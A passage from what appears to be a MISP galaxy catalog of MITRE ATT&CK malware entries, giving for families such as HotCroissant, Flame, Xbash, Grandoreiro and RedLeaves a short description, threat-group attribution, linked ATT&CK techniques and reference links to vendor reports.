- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 5389. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
http://www.finfisher.com/FinFisher/index.html
https://attack.mitre.org/software/S0182
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html

WINERACK - S0219

[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="WINERACK - S0219"*

View relationships graph

WINERACK - S0219 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="WINERACK" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 5390. Table References

Links
https://attack.mitre.org/software/S0219
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

PJApps - S0291

[PJApps](https://attack.mitre.org/software/S0291) is an Android malware family. (Citation: Lookout-EnterpriseApps)

The tag is: *misp-galaxy:mitre-malware="PJApps - S0291"*

PJApps - S0291 is also known as:

- PJApps

View relationships graph

PJApps - S0291 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Carrier Billing Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

Table 5391. Table References

Links
https://attack.mitre.org/software/S0291
https://blog.lookout.com/blog/2016/05/25/spoofed-apps/

RuMMS - S0313

[RuMMS](https://attack.mitre.org/software/S0313) is an Android malware family. (Citation: FireEye-RuMMS)

The tag is: *misp-galaxy:mitre-malware="RuMMS - S0313"*

RuMMS - S0313 is also known as:

- RuMMS

View relationships graph

RuMMS - S0313 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5392. Table References

Links
https://attack.mitre.org/software/S0313
https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html

HotCroissant - S0431

[HotCroissant](https://attack.mitre.org/software/S0431) is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA.(Citation: US-CERT HOTCROISSANT February 2020) [HotCroissant](https://attack.mitre.org/software/S0431) shares numerous code similarities with [Rifdoor](https://attack.mitre.org/software/S0433).(Citation: Carbon Black HotCroissant April 2020)

The tag is: *misp-galaxy:mitre-malware="HotCroissant - S0431"*

HotCroissant - S0431 is also known as:

- HotCroissant

View relationships graph

HotCroissant - S0431 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5393. Table References

Links
https://attack.mitre.org/software/S0431
https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/
https://www.us-cert.gov/ncas/analysis-reports/ar20-045d

Downdelph - S0134

[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)

The tag is: *misp-galaxy:mitre-malware="Downdelph - S0134"*

Downdelph - S0134 is also known as:

- Downdelph
- Delphacy

View relationships graph

Downdelph - S0134 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with

estimative-language:likelihood-probability="almost-certain"

- similar: misp-galaxy:tool="Downdelph" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Downdelph" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5394. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
https://attack.mitre.org/software/S0134

Flame - S0143

Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)

The tag is: *misp-galaxy:mitre-malware="Flame - S0143"*

Flame - S0143 is also known as:

- Flame
- Flamer
- sKyWIper

View relationships graph

Flame - S0143 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Bluetooth - T1011.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Authentication Package - T1547.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Flame" with estimative-language:likelihood-probability="likely"

Table 5395. Table References

Links
https://attack.mitre.org/software/S0143
https://securelist.com/the-flame-questions-and-answers-51/34344/
https://www.crysys.hu/publications/files/skywiper.pdf
https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache

Xbash - S0341

[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)

The tag is: *misp-galaxy:mitre-malware="Xbash - S0341"*

Xbash - S0341 is also known as:

- Xbash

View relationships graph

Xbash - S0341 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cron - T1053.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5396. Table References

Links
https://attack.mitre.org/software/S0341
https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

Final1stspy - S0355

[Final1stspy](https://attack.mitre.org/software/S0355) is a dropper family that has been used to deliver [DOGCALL](https://attack.mitre.org/software/S0213).(Citation: Unit 42 Nokki Oct 2018)

The tag is: *misp-galaxy:mitre-malware="Final1stspy - S0355"*

Final1stspy - S0355 is also known as:

- Final1stspy

View relationships graph

Final1stspy - S0355 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5397. Table References

Links
https://attack.mitre.org/software/S0355
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

Cannon - S0351

[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)

The tag is: *misp-galaxy:mitre-malware="Cannon - S0351"*

Cannon - S0351 is also known as:

- Cannon

View relationships graph

Cannon - S0351 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5398. Table References

Links
https://attack.mitre.org/software/S0351
https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/

HIDEDRV - S0135

[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)

The tag is: *misp-galaxy:mitre-malware="HIDEDRV - S0135"*

HIDEDRV - S0135 is also known as:

- HIDEDRV

View relationships graph

HIDEDRV - S0135 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5399. Table References

Links

http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
https://attack.mitre.org/software/S0135

LiteDuke - S0513

[LiteDuke](https://attack.mitre.org/software/S0513) is a third stage backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016), primarily in 2014-2015. [LiteDuke](https://attack.mitre.org/software/S0513) used the same dropper as [PolyglotDuke](https://attack.mitre.org/software/S0518), and was found on machines also compromised by [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)

The tag is: *misp-galaxy:mitre-malware="LiteDuke - S0513"*

LiteDuke - S0513 is also known as:

- LiteDuke

View relationships graph

LiteDuke - S0513 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5400. Table References

Links
https://attack.mitre.org/software/S0513
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf

DualToy - S0315

[DualToy](https://attack.mitre.org/software/S0315) is Windows malware that installs malicious applications onto Android and iOS devices connected over USB. (Citation: PaloAlto-DualToy)

The tag is: *misp-galaxy:mitre-malware="DualToy - S0315"*

DualToy - S0315 is also known as:

- DualToy

View relationships graph

DualToy - S0315 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="DualToy (Android)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

Table 5401. Table References

Links
https://attack.mitre.org/software/S0315
https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

Grandoreiro - S0531

[Grandoreiro](https://attack.mitre.org/software/S0531) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://attack.mitre.org/software/S0531) has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)

The tag is: *misp-galaxy:mitre-malware="Grandoreiro - S0531"*

Grandoreiro - S0531 is also known as:

- Grandoreiro

View relationships graph

Grandoreiro - S0531 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5402. Table References

Links
https://attack.mitre.org/software/S0531
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/
https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/

RedLeaves - S0153

[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)

The tag is: *misp-galaxy:mitre-malware="RedLeaves - S0153"*

RedLeaves - S0153 is also known as:

- RedLeaves
- BUGJUICE

View relationships graph

RedLeaves - S0153 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5403. Table References

Links
https://attack.mitre.org/software/S0153
https://twitter.com/ItsReallyNick/status/850105140589633536
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf

USBStealer - S0136

[USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)

The tag is: *misp-galaxy:mitre-malware="USBStealer - S0136"*

USBStealer - S0136 is also known as:

- USBStealer
- USB Stealer
- Win32/USBStealer

View relationships graph

USBStealer - S0136 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
